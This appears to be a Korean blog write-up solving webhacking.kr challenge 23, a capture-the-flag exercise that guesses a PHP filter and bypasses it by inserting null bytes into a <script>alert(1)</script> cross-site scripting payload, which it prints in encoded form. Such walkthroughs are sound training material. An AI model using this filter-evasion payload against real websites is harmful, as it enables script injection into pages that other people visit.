[webhacking.kr] 23번 문제 풀이[PHP]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 23번 문제에 대한 풀이입니다.

문제

문제 화면

image

문제 풀이

입력 칸에 여러 단어를 입력해 보면서 무엇이 필터링 되는지 먼저 확인합니다.

몇개의 단어를 입력해보니 php 서버에는 다음과 같이 처리 되는 것 같습니다.

  if (preg_match('/[A-Za-z]{2,}/', $_GET['code'])) {
      echo "no hack <br>";
  } else {
      echo "{$_GET['code']}<br>";
  }

숫자를 제외하고 문자를 2개 연속 입력하면 no hack을 출력하는 로직입니다. 그리고 몇개를 테스트 해보니 preg_match 부분은 문자열 중간에 null byte(0x00)를 끼워 넣으면 다르게 판단 합니다.

ex) admin != ad%00min

이를 이용해서 입력할 <script> alert(1); </script> 중간중간에 preg_match 에 의해서 필터링 되지 않도록 null byte를 넣어줍니다.

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>

image

댓글남기기